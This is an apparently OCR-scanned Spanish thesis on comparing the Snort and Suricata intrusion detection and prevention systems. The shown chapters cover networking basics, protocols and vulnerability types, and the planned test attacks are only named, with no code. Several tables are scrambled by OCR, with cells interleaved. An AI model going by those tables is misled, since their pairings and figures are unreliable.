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RESUMEN

El rapido desarrollo y evolucion de las redes de datos alrededor del mundo han
impulsado la creacion de diversos mecanismos y aplicaciones para compartir,

transferir o distribuir informacion entre multiples usuarios.

Amenazas potenciales como virus, gusanos, ataques dirigidos, denegacion de
servicio (DoS), escaneos, malware, botnets, spam, etc., no son conceptos nuevos,
sin embargo, durante los ultimos afios han evolucionado y se han adaptado a los

nuevos mecanismos de comunicacion digital y en general al desarrollo de Internet.

Para hacer frente a las posibles amenazas e intrusiones a las que se encuentra
expuesta toda red, los principales dispositivos 0 mecanismos utilizados son:
Antivirus, Firewalls y Sistemas de Prevencion y Deteccion de Intrusiones
(IDS/IPS).

En este trabajo de tesis se presenta la implementacion y un analisis comparativo
en el desempefio de los sistemas IDS/IPS de codigo abierto Snort y Suricata,
mediante ataques inducidos. La evaluacion de desempefio se realiz6 en base a

las siguientes métricas:

o Numero de alertas.

o Tiempo de respuesta.
o Uso de memoria RAM.
o Uso de CPU.

Los ataques inducidos seran:

1. Ataque de acceso remoto creando archivo ejecutable (.exe)

2. Ataque de acceso remoto aprovechando vulnerabilidad de Firefox.

3. Ataque IE 0 day (aprovecha vulnerabilidades de los navegadores web).
4

Ataque de acceso remoto via FTP.



Para realizar el analisis mencionado anteriormente, se implementara en una red
LAN con dos computadoras victimas y una maquina atacante emulando trafico a
través de una aplicacion. Para cada ataque se realizaran 10 repeticiones utilizando

diferentes direcciones IP, tanto en modo IDS como IPS.
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CAPITULO 1
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[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS
IDS/IPS DE CODIGO ABIERTO”] Ne:\J3 Vel

1. INTRODUCCION

1.1 Antecedentes

El rapido desarrollo y evolucién de las redes de datos alrededor del mundo han
impulsado la creacion de diversos mecanismos y aplicaciones para compartir,
transferir o distribuir informacién entre multiples usuarios. Con el paso de los afios,
las redes de datos se han convertido en una herramienta de informacién y de
comunicacién con una dimension cultural muy diversificada. Esto, a su vez, ha
dado lugar a una mayor conciencia de la necesidad de proteger la informacion y
los recursos, para garantizar la autenticidad de los datos y mensajes y proteger los

sistemas contra ataques basados en red [1].

Proteger nuestra red de posibles amenazas e intrusiones maliciosas que
comprometan su integridad, confiabilidad y su disponibilidad siempre ha sido un
punto prioritario de toda organizaciéon y un gran reto para el administrador de la
misma. Esta tarea comprende desde los dispositivos finales hasta el punto donde
la red se conecta a un proveedor de servicios de Internet. El punto donde nuestra
red interna se conecta a la red externa es conocido como el perimetro de la red,
donde se traza una linea entre los recursos de la red publica (Internet) y la red
privada (Intranet) de la organizacion. En esta linea es donde las amenazas e
intrusiones se presentan con mayor frecuencia y por tal motivo los administradores
de red ponen una mayor atencidén, apoyandose de un conjunto de dispositivos,
mecanismos de mitigacion y diversas medidas basicas a nivel usuario, como son:
contrasefas seguras, navegacion segura, prudencia con los archivos, ingenieria

social, etc.

Amenazas potenciales como virus, gusanos, ataques dirigidos, denegacion de
servicio (DoS), escaneos, malware, botnets, spam, etc., no son conceptos nuevos,
sin embargo, durante los ultimos afios han evolucionado y se han adaptado a los
nuevos mecanismos de comunicacion digital y en general al desarrollo de Internet.

Tomando esto en cuenta, es entendible suponer la necesidad de poder identificar

1
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el origen de dichas amenazas con la finalidad de aplicar algun mecanismo de

mitigacion [2].

1.1 Justificacioén

La importancia de poder identificar y detectar el trafico malicioso se justifica en el
hecho de que este tipo de trafico es el que puede alterar el funcionamiento de una
red o, en el peor de los casos, causar tal impacto que interrumpa por completo la

actividad general del entorno.

Para hacer frente a las posibles amenazas e intrusiones a las que se encuentra
expuesta toda red, los principales dispositivos 0 mecanismos utilizados son:

Antivirus, Firewalls y Sistemas de Prevencion y Deteccion de Intrusiones (IDS/IPS)

3].

En la actualidad existen muchos proveedores que ofrecen diversos sistemas
IDS/IPS para dar soporte de seguridad a las redes de comunicaciones, sin
embargo, la mayoria es bajo licencia y de alto costo. Sin embargo, la
implementacion de sistemas IDS/IPS de cédigo abierto son una muy buena opcion

como lineas de defensa adicionales en una red de comunicaciones.

En base a los puntos mencionados anteriormente, en el presente trabajo se
presenta la implementaciéon y un analisis comparativo en el desempefo de

sistemas IDS/IPS de cddigo abierto mediante ataques inducidos.

1.2 Objetivo

Implementar y realizar un analisis comparativo de desempefio en sistemas
IDS/IPS de cédigo abierto en un escenario de red, en base a un conjunto de

ataques inducidos.
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1.3 Objetivos particulares

e Realizar un estudio del estado del arte de los sistemas de prevencion y

deteccidn de intrusiones.

e Elegir los IDS/IPS de cédigo abierto a implementar.

e Configurar los IDS/IPS para la deteccion de posibles intrusiones en la red.

e Emular trafico de red para generar un escenario de prueba.

e Seleccionar un conjunto de ataques para someter a prueba el desempeno
de los IDS/IPS bajo estudio.

Evaluar el desempefio de los IDS/IPS en base a las siguientes métricas:

o

o

o

o

Numero de alertas.
Tiempo de respuesta.
Uso de memoria RAM.
Uso de CPU.

e Realizar un analisis comparativo en el desempefio de los IDS/IPS bajo

estudio.

1.4 Metodologia

Se realizara una investigacion de conceptos basicos y un estudio del arte de los

sistemas de deteccion y prevencion de intrusiones (IDS/IPS) para poder dar al

usuario un mejor enfoque de lo que son las amenazas y lo que conllevan.

También se investigara los IDS/IPS de codigo abierto existentes en el mercado y

se elegiran dos de los mas utilizados como lineas de defensa para investigar mas

a fondo referente a su configuracién e implementacion.
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Una vez configurados, se investigara referente a generadores de trafico de red y

generadores de ataques para poder implementar un escenario de prueba.

En base al estudio del estado del arte, se seleccionaran las amenazas mas
comunes para usuarios basicos y se generaran esos ataques sobre el escenario
de prueba para realizar un estudio comparativo y analisis de desempefio de las
lineas de defensa elegidas, tomando como referencia, las siguientes métricas de
desempefio: numero de alertas, tiempos de respuestas, uso de memoria RAM y
uso de CPU.



CAPITULO 2

¢
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2. CARACTERISTICAS DE REDES DE DATOS

Una red de datos, también llamada red informatica, es un conjunto de sistemas
informaticos o interfaces conectados entre si que comparten elementos,
incrementado asi la eficacia de los procesos [4]. Cabe mencionar, que un sistema
informatico es un conjunto de elementos tanto del tipo software (equipamiento
l6gico, o elementos intangibles) como programas, sistema operativo, etc., y del
tipo hardware (equipamiento fisico, o elementos tangibles) como es el monitor de

la computadora, las bocinas, el teclado, etc.

llustracion 1. Red de datos
Por tanto, una red de datos es una serie de elementos interconectados que
trabajan conjuntamente para que podamos comunicarnos como se muestra en la
llustracién 1. Ya sea, elementos fisicos (hardware) y logicos (software). En el cual
permite compartir informaciéon (musica, imagenes, archivos, etc.), recursos

(impresoras, scanner, etc.) y servicios (aplicaciones, juegos, Internet, etc.).
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Y para que exista comunicacion, se necesita una serie de componentes, suelen

llamarse elementos de la cadena comunicacional como se muestra en la siguiente

llustracion 2:

llustracion 2. Elementos de cadena comunicacional

Donde

e Emisor: Elemento que emite el mensaje.

¢ Ruido: Elemento externo que afecta el mensaje.
e Canal: Medio por el cual el mensaje viaja.

e Mensaje: Es lo que se quiere comunicar.

e Receptor: Recibe el mensaje.
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2.1 Tipo de redes
a. De acuerdo a su extensién geogréfica

CAPITULO 2

Una red de datos se puede clasificar de acuerdo al espacio, lugar o distancia que

ocupe, es decir de acuerdo a su extension geografica como se muestra en la

Tabla 1y se ejemplifica en la llustracién 3:

Tabla 1. Tipo de red de acuerdo a su extension geografica

Nombre

Definiciéon

Extension

Velocidad de
transmision de
los datos

LAN VAN AN PAN
(Red de Area (Red de Area (Red de Area (Red de Area
Local) Metropolitana) Extensa) Personal)
Son varias LAN Red digital que
colocadas en Es una red que esta orientada a
ciertos puntos | esta formada por | la interconexion
de una ciudad o equipos de dispositivos
Son redes region. Por distribuidos por dentro de un

pequefas, que
normalmente se

ejemplo, una
empresa tiene

todo el mundo.
Como son los

rango inferior a
los 10 metros. Se

por segundo) hasta

10 Gbps (Giga bits
por segundo).

75Mbps, sobre
pares de cobre y
100Mbps,
1Gbps y 10Gbps
mediante Fibra
Optica.

(kilobytes por
segundo).

encuentran en una | varias oficinas bancos, los da entre agendas
escuela, oficinay | dispersas en un grandes personales (PDA)
hogares. area organismos con y laptops, entre
metropolitana. sedes en el celulares y un
Como son las mundo, entre dispositivo de
entidades otros. manos libres
bancarias, etc. inaldmbrico.
Méximo de 100 m 10 km Mundialmente Liileliel i
metros
Ofrecen
velocidades de
10Mbps,
Varia desde 10 20Mbps,
Mbps (mega bits 45Mbps, 9,6 a 256 Kbps Puede alcanzar

los 480 Mbps.
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CAPITULO 2

llustracién 3. Tipo de red de acuerdo a su extension geografica

b. De acuerdo al medio de transmision

Tabla 2. Tipo de red de acuerdo al medio de transmision

Redes inalambricas

Nombre Redes cableadas

Este tipo de redes emplean
un medio fisico para la
interconexién de equipos,
es decir, mediante cables.

Definiciéon

Para este tipo de redes, no
utilizan cables sino se
suelen comunicar a través
de ondas
electromagnéticas. La
transmision y recepciéon se
efecttan a través de
antenas.

Son mas seguras y rapidas
porque no se altera ni se
interfiere la comunicacion.

Ventajas

No precisan instalacion de
cableado y, por lo tanto,
permite movilidad a los
usuarios.

No hay mucha movilidad
de los equipos debido a
que estan conectados por
cables.

Desventajas

Son mas lentas, inseguras
y estan sujetas a
interferencias.
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c. De acuerdo alavelocidad de transmision en el Standard Ethernet

Cabe mencionar que la unidad que se usa al medir la velocidad de datos
transmitidos por una red es el bit por segundo. La Tabla 3 muestra tres tipos de

red de acuerdo a su velocidad de transmision.

Tabla 3. Tipo de red de acuerdo a la velocidad de transmisién en el Standard Ethernet

Nombre | Ethernet Fast Ethernet | Gigabit Ethernet

Standard IEEE
o Standard |IEEE Standard |IEEE
CETEIBETIEEE 802.3 — 10 Mbps. | 802.3 — 100 Mbps. sozl.jb—p; L

2.2 Modelos de referencia

Modelo OSI

El modelo OSI (Interconexién de Sistemas Abiertos) estd basado en una
propuesta desarrollada por la Organizacion Internacional de Estandares (ISO).
Este modelo se llama asi, porque tiene que ver con la conexién de sistemas

abiertos a la comunicaciéon con otros sistemas.

Este define un modelo de red en siete capas, presente en cada estacién que
desee conectarse. Cada capa dispone de funcionalidades que les son propias y
prestan servicio a las capas inmediatamente adyacente. Aunque el modelo OSI se
utiliza muy poco, sirve de referencia para definir el nivel de funcionamiento de un
componente de red. Aunque hoy en dia y de manera paraddjica, el TCP/IP se
utiliza de manera generalizada, e incluso cuando se habla de este protocolo se le
asocia con las capas del modelo OSI (posterior en 10 afios al modelo TCP/IP) [5].

A continuacion se explicaran las 7 capas brevemente:

7. Aplicacion: Proporciona los medios para la conectividad de extremo a

extremo entre individuos de la red humana que usan redes de datos.

10
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6. Presentacion: Proporciona una representacion comun de los datos

transferidos entre los servicios de la capa de aplicacion.

5. Sesion: Proporciona servicios a la capa de presentacion para organizar su

dialogo y administrar el intercambio de datos.

4. Transporte: Define los servicios para segmentar, transferir y reensamblar

los datos para las comunicaciones individuales entre dispositivos finales.

3. Red: Proporciona servicios para intercambiar los datos individuales en la

red entre dispositivos finales identificados.

2. Enlace de datos: Sus protocolos describen los métodos para intercambiar

tramas de datos entre dispositivos en un medio comun.

1. Fisica: Describen los medios mecanicos, eléctricos, funcionales y de
funcionamiento para activar, mantener y desactivar conexiones fisicas para la

transmision de bits hacia y desde un dispositivo de red.

Modelo TCP/IP
Basado en un modelo de referencia de 4 niveles y se propuso afnos atras antes

que el modelo OSI.

Hablemos un poco sobre su historia. ARPANET fue una red de investigacion
respaldado por el DoD (Departamento de Defensa de Estados Unidos). Con el
tiempo, conectd cientos de universidades e instalaciones gubernamentales
mediante lineas telefénicas alquiladas. Posteriormente, cuando se agregaron
redes satelitales y de radio, los protocolos existentes tuvieron problemas para
interactuar con ellas, por lo que se necesitaba una nueva arquitectura de
referencia. De este modo, la capacidad para conectar multiples redes en una
manera solida fue una de las principales metas de disefio desde sus inicios. Mas

tarde, esta arquitectura se llegé a conocer como el modelo de referencia TCP/IP

[6].

11
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CAPITULO 2

A continuacién, se explicara brevemente cada una de estas capas como se

muestra en la siguiente Tabla 4-:

Tabla 4. Modelo TCP/IP

NIWVELESS

Descripcion

Protocolos

Interr(fa%z o Internet Transporte Aplicacion

En este nivel,

se encarga de

empaquetar los

gz::Zramas I?Dn Contiene todos
Especifica el cual contiene Permite ue Ic?es npi\r/(()etlocrc:gz
informacion la direccion de hava q alto v coMo se
detallada de | origen y ya yt |
c6mo se | destino para comunicacion conectan os
envian reenviar los e“t.re las | programas  de
fisicamente datagramas .entltfades I hOSt. 4 Losi
los datos a | entre los hosts Igualés en [0S | Serviclos €
través de la|y a través de hosts de origen | nivel de
red las redes y destino. transporte para

’ También ’ que se pueda

realiza ol utilizar la red.

enrutamiento

de los

datagramas IP.
Los
protocolos
MAS COMUNES Los protocolos
que se que usa este
encuentran | IP, ICMP, ARP, | TCP, UDP, El'ﬁ'P Telﬁg?
en este nivel | RARP. RTP. SMTP’ DNS’
son Ethernet, TETP, SNMP,

Frame Relay,
Token Ring y

FDDI.

entre otros.

12
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2.3 Dispositivos de red

CAPITULO 2

Los equipos que conforman las redes se denominan dispositivos y se clasifican en

dos grupos:

1. Dispositivos del usuario final. Son aquellos que brindan al usuario servicios

en forma directa, como computadoras de todo tipo, escaneres, impresoras,

entre otros.

2. Dispositivos de

red. Aquellos que brindan a

los wusuarios finales

conectividad haciendo posible la comunicacién, como el hub, switch y el

router, entre otros.

A continuacion, explicaremos brevemente sobre cada dispositivo de red.

Tabla 5. Dispositivos de red

Definicién

Ventajas

Desventajas

Hub Switch :
Router (repetidor)
(concentrador) (conmutador)
Dispositivo que se | Dispositivo ue | . "
P q ) PO 9 Dispositivo que se
encarga de repetir | permite la
. ; i encarga de
los mensajes que | interconexion de | .
. f interconectar las
recibe en todos los | redes soélo cuando redes  internas
demas puertos que | ésta conexidn sea y
. . externas.
tiene. necesaria.
. .| Tienen la
Tiene memoria. .

Suele ser capacidad de
- Cuenta con una .
economico. escoger la mejor

. . | base de datos en .
Puede ser pasivo si ) ruta por donde
.. |donde esta la| .. .
no necesita | . . viajaran los datos
. . informacion de los
alimentacion equibos que estan | Pard llegar a su
eléctrica o activo si quip 9 destino.
e . conectados a la -
utiliza corriente Incorpora servicios

para funcionar.

red.

de seguridad de
red.

Va de uno en uno
preguntando  cual
es el destino y esto
provoca colisiones.

Es un
costoso.

poco

Es muy costoso.

13
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CAPITULO 2

En una red de datos también hay ciertos componentes basicos para que pueda

funcionar, a continuacién, se muestra en la siguiente tabla:

Tabla 6. Componentes basicos de una red

Nombre

Definicién

Caracteristicas

Servidor

Es una
computadora que se
utiliza para
gestionar el sistema
de archivos de la
red, controla las
comunicaciones,

presta servicios a
las  computadoras

Estaciones de
trabajo

Es una
computadora
conectada a la red.

Tarjetas de
interfaz de red
(NIC)

Permite conectar el
cableado entre los
servidores y las
estaciones de
trabajo. Es decir,
convierte los datos
enviados por la
computadora a un
formato que el

conectgdas, cable de red pueda
denominadas

clientes. usar.

Es una | Pueden ser | *Posee mas de un
computadora  que | computadoras puerto de red.

tiene una gran | personales o de|*Posee 2 Iluces
capacidad y es | escritorio. Es | indicadores (LED);
capaz de soportar | importante  saber | la luz verde indica
grandes velocidades | que se necesita | la alimentacién
de procesamiento, | una tarjeta  de | eléctrica y la
trabajo continuo, | interfaz de red para | naranja o0  roja
conexiones que se pueda |indica que hay
simultaneas, etc. conectar a una red. | actividad en la red.
*Servidor web

*Servidor de

impresion

*Servidor de proxy Distintos sistemas

*Servidor de | operativos: *Tarjetas

archivos * Windows inaldmbricas
*Servidor * Linux *Tarjetas Ethernet
Telnet/SSH * Solaris *Token Ring
*Servidor de | etc.

aplicaciones

*Servidor de base
de Datos

14




[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS
IDS/IPS DE CODIGO ABIERTO”]

CAPITULO 2

El cableado también se incluye en esta tabla de componentes, sin embargo, se

menciona por separado, para especificarlo de mejor manera.

Tabla 7. Tipo de cableado en una red de datos

Caracteristicas

Ventajas

Par-
Par- trenzado trenzado
sin apantallar Cable coaxial Cable UTP Fibra 6ptica
apantallado
(UTP) (STP)
Un hilo conductor
de cobre que La senal es
esta envuelto por transmitida
Formado por 4 una malla Es el cable | @ través de
pares trenzada plana y ] la luz.
. mas usado
trenzados funciona  como en Ia Consta de
individualmente tierra. Contiene . dos nucleos
. . : actualidad. | . ..
entre si de Se utiliza en material aislante Existen 7 opticos
cable de cobre entre el hilo . (interno y
: redes con categorias,
de calibre topoloaia conductor y la cada uno externo),
AWG 24, de TfkengRin malla.  Existen Zo ot que
100 W de 9 ldos tipos de|S9P refractan la
. . ; diferentes
impedancia vy espesores; . luz de forma
. i parametros .
aislamiento de gruesos que | o distinta. La
polietileno. soporta grandes i . fibra esta
) ) ransmision
distancias vy, el de datos encapsulada
fino, para : en un cable
conectar puntos protector.
cercanos.
*Bajo costo
en su | *Alta
*Cubierto de contratacio Yelomdad.
. . ) n. Soporta
Transferencia | material que .
Alto mayores
de 0 a 100 |lo protege | .. . . .
Util para | numero de | distancias.
Mbps. de las ~ . . . i
" . ) ) senales; voz, | estaciones No emite
Longitud interferencia | ~; . ~
. videos y datos. de trabajo | senales
maxima de | s. . *Soporta por eléctricas o
100m. *Velocidade S Ce
N comunicaciones | segmento. | magnéticas,
Costo S de e .
_ en banda ancha. Facilidad o] cual
moderado transmision
N o . para el | redunda en
Flexibilidad superiores a -
rendimiento | la
100 Mbps. .
y la | seguridad.
solucion de
problemas.
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Desventajas

CAPITULO 2

*No tiene malla
de metal.
*Mayor tasa de
error.

*Coste de
fabricacion
mas alto.
*Instalacion
mas
complicada
debido a su
robustez.

*Su grosor, eso
hace limitada su

utilizaciéon en
pequenos
conductos y con
angulos muy
cerrados.

*Distancia
limitada
(100 metros
por
segmento).
* Altas
tasas de
error a altas
velocidades

*Ancho de
banda
limitado.
*Baja
inmunidad
al ruido.

*Alto coste

16
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2.4 Topologias de red

Ahora, para formar una red es necesario definir un patrén o la forma de como los
nodos estaran interconectados entre si. A continuacion, se hablara de los mas

comunes en la Tabla 8 y se ejemplifican en las llustraciones 4, 5,6 y 7:

Tabla 8. Topologias de red

Nombre Malla Estrella Bus Anillo
Cada nodo esta
conectado al

Los nodos estan | Sus nodos | _. .
siguiente nodo

Los nodos conectados estan asi
; directamente al | conectados .
estan . ) sucesivamente.
o servidor y todas | directamente a -
O:lzleiciiisilecs | conectados Cada estacion
. | las un enlace y no | .
a los demas . . . tiene un
comunicaciones | existe ninguna
nodos. receptor y

se hacen a | otra conexion !
transmisor que

través de él. entre nodos. hace la funcion
de repetidor.
*Facil su
*Existen instalacion. *Es econémico
muchos At *Ahorro de | . )
. Mas rapido. Ahorro de
. caminos Por | .p,x cable.
Ventajas Mas seguro la |, . cables.
el cual se|. S Conviene R
informacion. Facil su
pueda llevar cuando  son instalacion
el mensaje. pocas '
computadoras.

*Es un poco
lenta porque
pasa de nodo
en nodo. *Si falla uno,

*Hay ey
. ., Si  hay un | falla toda la red.
interrupcion | ,a. . . .
en las Si falla el switch | fallo, se pierde | *No es seguro
Desventajas . o hub, la red ya | la porque las
conexiones , o
) X no funciona. comunicacion. | computadoras
si estan mal .
No es seguro | pueden ver la
conectadas. : .
porque las | informacion.
computadoras
pueden ver la
informacion.
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2.5 Protocolos
Antes de iniciar, diremos lo que es un protocolo, segun Andrew S. Tanenbaum “es
un conjunto de reglas que rigen el formato y el significado de los paquetes, o

mensajes, que se intercambiaron las entidades iguales en una capa”.
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Estos permiten que los datos entre los equipos que forman parte de la red se
intercambien. Y este intercambio no sélo incluye informacion sino instrucciones y
procesos. Es por eso, que existe la posibilidad de haber pérdidas y alteraciones a
la informacion, denegacion de servicio, robo de los recursos de la red, etc. Los

protocolos mas comunes en redes de datos son:
Protocolo de Internet (IP)

Este protocolo se ocupa principalmente de especificar donde enviar los datos.

Para hacer eso, cada paquete IP tiene emisor y el receptor de la informacién.
Protocolo de control de transmisiéon (TCP)

Este protocolo se encarga de la entrega segura de datos a la direccion

especificada en el Protocolo de Internet.
Protocolo de datagramas de usuario (UDP)

UDP se puede utilizar como una alternativa a TCP. La diferencia es que UDP no
proporciona garantia en la llegada de los datos al receptor, ya que es no orientado
a la conexion y un protocolo sin ningun mecanismo de recuperacion de paquetes

perdidos. Por otro lado, tiene menor sobrecarga que el protocolo TCP.
Protocolo de control de mensajes de Internet (ICMP)

ICMP es un subconjunto de la suite de protocolos TCP / IP que transmite
mensajes de error y control sobre la situacién de la red entre los sistemas. Dos
casos concretos de ICMP son ICMP ECHO REQUEST e ICMP
ECHO_RESPONSE. Estos dos casos se pueden utilizar por un host local para
determinar si un sistema remoto es accesible a través de la red; esto se logra

comunmente usando el comando "ping" [7].
Protocolo de configuracion dinamica de host (DHCP)

DHCP es un protocolo utilizado en las redes IP para distribuir dinamicamente los
parametros de configuracién de red [8].

19



[“ANALISIS COMPARATIVO DE DESEMPENO EN SISTEMAS
IDS/IPS DE CODIGO ABIERTO”] Ne:\J3 ¥[Kel]

Protocolo de transferencia de archivos (FTP)

Se basa en el modelo cliente/servidor y permite la transferencia de archivos. El
protocolo proporciona operaciones para que el cliente pueda manipular el sistema
de archivos del servidor: borrar archivos o cambia el nombre, crear y borrar

directorios, lista sus contenidos, etc.
Sistema de nombres de dominio (DNS)

El sistema de nombres de dominio proporciona un espacio de nombres para
referenciar recursos, que por norma general son computadoras conectadas a la

red.

En el DNS, los nombres estan organizados jerarquicamente en forma de arbol.
Cada nodo de este ultimo tiene una etiqueta que lo distingue de sus nodos

“hermanos” [9].
Protocolo de transferencia de hipertexto (HTTP)

HTTP es, sobre todo, un protocolo de transferencia de archivos. HyperText
Markup Language (HTML) se utiliza para formatear y visualizar. Los archivos

transmitidos al cliente los interpreta un software navegador (browser).

El protocolo HTTP es utilizado por un servidor Web, que almacena la informacion
en forma de paginas de texto (HTML), imagenes, videos, sonidos. Cada entidad

corresponde a un archivo, dentro de una jerarquia [10].
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2.6 Razones por las cuales es vulnerable una red de datos

Una vulnerabilidad de seguridad es una debilidad en un producto (software) que
podria permitir a un usuario malintencionado comprometer la integridad,

disponibilidad, o confidencialidad de dicho producto.

La integridad, confidencialidad y la disponibilidad son los tres objetivos principales
de la seguridad. Si se carece de uno o0 mas de estos tres elementos, existe una
vulnerabilidad de seguridad, y podrian quedar comprometidos uno o varios
elementos al mismo tiempo. Por ejemplo, una vulnerabilidad de fuga de
informacion podria comprometer la confidencialidad del producto, mientras que
una vulnerabilidad de cdédigo remoto podria comprometer su integridad, su

disponibilidad y su confidencialidad [11].

Existen diferentes tipos de vulnerabilidades, pero hablaremos de soélo de las mas

importantes.

Vulnerabilidades fisicas: Son los puntos fragiles de orden fisico que intervienen

para que el ambiente donde se maneja la informacidén no sea el adecuado.
Ejemplos de principales vulnerabilidades fisicas:

¢ |Instalaciones inadecuadas de trabajo.
e Falta de elementos en caso de incendios.
e Desorden en cableado eléctrico y de red.

¢ Falta de identificacion de personal.

Vulnerabilidades naturales: Son las condiciones de la naturaleza que afectan,
colocan en riesgo la informacion. Las amenazas naturales se deben tener en
cuenta antes de tomar la decision de realizar un proyecto en una instalacién, ya
que primero se deben identificar qué vulnerabilidades tiene la instalacion para

poderse proteger antes de realizar cualquier accion.
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Ejemplos de principales vulnerabilidades naturales:

Humedad, polvo, contaminacion.

¢ |Instalaciones sin proteccion contra incendios.

e |Instalaciones cercanas a rios, afluentes de agua, propensas a
inundaciones.

e Infraestructura fragil a la hora de presentarse terremotos, maremotos,

huracanes.

Vulnerabilidades de hardware: Las configuraciones de los equipos que coloquen

en riesgo a la organizacion, fallas de fabricacion y funcionamiento.
Ejemplos de principales vulnerabilidades fisicas:

¢ Falta de actualizacion de equipos por parte del propietario.
e Baja vida util por mala conservacion de los equipos.
¢ Falta de configuracién de respaldo.

e Falta de quipos de contingencia.

Vulnerabilidades de software: La falta de seguridad y puntos débiles de las
aplicaciones utilizadas por la organizacion que permitan el ingreso de personas no

autorizadas a los activos.
Ejemplos de principales vulnerabilidades de software:

¢ Instalacién inadecuada de aplicaciones de computadora.
o Editores de texto que ejecuten virus.
e Lectores de e-mail.

e Navegadores de paginas web indebidas.

Vulnerabilidades de medios de almacenamiento: Son todos los medios
magnéticos utilizados por la empresa para almacenar la informacion, mediante

soportes fisicos.
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Ejemplos de principales vulnerabilidades de medios de almacenamiento:

e Falta de conocimiento para la utilizacion de estos medios de
almacenamiento.

e Falta de conocimiento de la validez y caducidad.

e Defecto de fabricacion.

e Uso incorrecto.

¢ Instalaciones inadecuadas para su almacenamiento.

Vulnerabilidades de comunicacion: Es el punto fragil en el transporte de la
informacion ya sea via cable, satélite, fibra optica, ondas de radios, etc. Siempre

se debe garantizar la seguridad de la informaciéon mientras esta viaja.
Ejemplos de principales vulnerabilidades de comunicacion:

o Fallas en el medio de transporte.
e Lainformacion puede ser alterada durante su transporte.

¢ Falta de sistemas de encriptaciéon de la informacion.

Vulnerabilidades humanas: Son las fallas causadas por el personal de la
empresa y que pueden afectar la seguridad de la informacion, las fallas humanas
pueden ser intencionales o no, la causa mas frecuente de fallas es el

desconocimiento por parte del personal [12].
Ejemplos de principales vulnerabilidades humanas:

¢ Falta de capacitacion al personal de la organizacion.
e Falta de conciencia por parte del personal a nivel de seguridad.
o Estafas.

e [nvasiones.
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3. VULNERABILIDADES / ATAQUES

Hoy en dia, una red de datos es utilizada por casi todo el mundo, aunque es usada
inconscientemente, ya que no todos los usuarios que navegan por Internet tienen
conocimientos basicos sobre ciertas vulnerabilidades y ataques que pueda haber

en este.

Estos ataques pueden afectar a que se filtren en su informacién personal (robo de

identidad) hasta pérdidas econdmicas.

En esta seccién hablaremos de los ataques mas comunes y que ayudara al
usuario a conocer sus causas Yy algunas formas de evitarlos. Aunque es muy
importante sefialar que ningun sistema sera 100% seguro, en algunos casos solo

se mitiga el ataque.

3.1Introduccién de laimportancia de la seguridad

Iniciaremos con una definicién de seguridad informatica, la cual, esta definida en
funcidbn de un conjunto de medidas (reglas, herramientas, actividades) para

minimizar los riesgos sobre un sistema o red informatica.

Y estas medidas tiene como objetivo garantizar la integridad, confidencialidad y
disponibilidad de los recursos que cuenta el sistema, ya que estos ataques pueden
disminuir el rendimiento de los equipos, desactivar los servicios, bloquear el
acceso a los usuarios autorizados del sistema, robo de identidad, pérdida,

modificacion y divulgacion de informacion, etc.

En la Tabla 9 definiremos brevemente estos tres conceptos fundamentales de la

seguridad:
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Tabla 9. Servicios de seguridad

Confidencialidad

Nombre | Disponibilidad Integridad
Garantiza que el sistema | Garantiza  que
funcione nuestros datos | Garantiza que solo el
adecuadamente y que la | no sean | dueio de los datos
informacion esté  a | modificados de | almacenados pueda
nuestra disposicion | forma no | acceder a ellos.

cuando sea requerida. autorizada.

Definicion

Hay que tener en cuenta que la informacién es muy importante mantenerla
protegida frente a amenazas que pongan en peligro la disponibilidad, integridad y
la confidencialidad de la informacion como se especifica en la Tabla 9, pero
también un ataque puede poner en peligro a la imagen corporativa 0 a su persona
(robo de identidad), provocando pérdidas econdmicas (extorsidén) entre otras

cosas, ya que son bienes importantes.

Un sistema informatico se podria decir que es un conjunto de elementos
(hardware, software y recursos humanos) que estan relacionados entre si, y en el
cual se maneja informacion que es procesada, intercambiada y conservada en una

red de datos.

3.2 Consideraciones sobre seguridad en laweb

La World Wide Web es, basicamente, una aplicacién cliente/servidor que se

ejecuta en Internet y en las intranets TCP/IP.

e Internet es bidireccional. Al contrario que los entornos de publicacion
tradicionales, incluso los sistemas de publicacion electronica que hacen uso
de teletexto, respuesta de voz o respuesta de fax, la web es vulnerable a
los ataques a los servicios web desde Internet.

e La web se emplea cada vez mas para presentar informacién de empresas y

de productos y como plataforma para transacciones de negocios.
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Se puede perjudicar la imagen y ocasionar pérdidas econdmicas si se

manipulan los servidores web.

¢ Habitualmente, los clientes de servicios basados en web son usuarios

ocasionales y poco preparados (en lo que a seguridad se refiere). Estos

usuarios no tienen por qué ser conscientes de los riesgos que existen y no

tienen las herramientas ni los conocimientos necesarios para tomar
medidas efectivas [13].

A continuacion se muestra en la tabla Tabla 10 una comparacién de amenazas en

la web segun William Stallings.

Tabla 10. Comparaciéon de amenazas en la web

Amenazas Consecuencias Contramedios |
*Modificacion de
datos de usuario. *Pérdida de
*Navegador caballo | informacion. *Suma de
de Troya. *Maquina en comprobacién
Integridad *Modificacion de | peligro. (checksum)
memoria. *Vulnerabilidad al iStoqrafi
*Modificacion del | resto de | CriPtogratica.
trafico del mensaje | amenazas.
en transito.
*Oyentes ocultos en
la red.
*Robo de
informacion del
servidor.
*Robo de datos del | *Pérdida de
. - cliente. informacion. *Cifrado, proxy
ConEEE e *Informaciéon sobre | *Pérdida de | web.
la configuracion de | privacidad.
la red.
*Informacién sobre
qué cliente se
comunica con el
servidor.
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*Interrupcion de
procesos del
usuario.
*Inundar la maquina
con amenazas
Denegacionde = Rie-[e(I] sl -EH
servicio *Llenar el espacio
de disco o |la
memoria.
*Aislar la maquina
mediante  ataques
de DNS.

*Suplantacién de
usuarios legitimos.
*Falsificaciéon de
datos.

*Destructivo
*Molesto
*Impide que los | *Dificil de prevenir.
usuarios finalicen
su trabajo.

*Falsificaciéon de
usuario.
*Creer que la
informacion falsa
es valida.

*Técnicas

Autentificacion . .
criptograficas.

3.3 Ataques mas comunes

Antes de abarcar con los ataques en que los usuarios son mas propensos a verse
afectados, explicaremos la diferencia entre algunos conceptos para tener mas

claro cada uno [14].

Tabla 11. Conceptos basicos

Nombre Vulnerabilidad Amenaza Atagque Exploit

Es un acontecimiento
provocado por una
persona, programa
malicioso o | Es un asalto
fenébmeno natural o | a la
de otra indole que | seguridad
puede causar | del sistema
alteraciones o danos | derivado de
a la informacion de | una

Es una pequena
aplicacién
escrita con el
objetivo de
aprovecharse de
una
vulnerabilidad

La wvulnerabilidad
€s como un punto
débil de un
blsiilallelolg | sistema que esté
propenso a ser
atacado y danar

, una organizacion | amenaza .
su seguridad. C NNt conocida en un
ocasionandole inteligente.
- software.
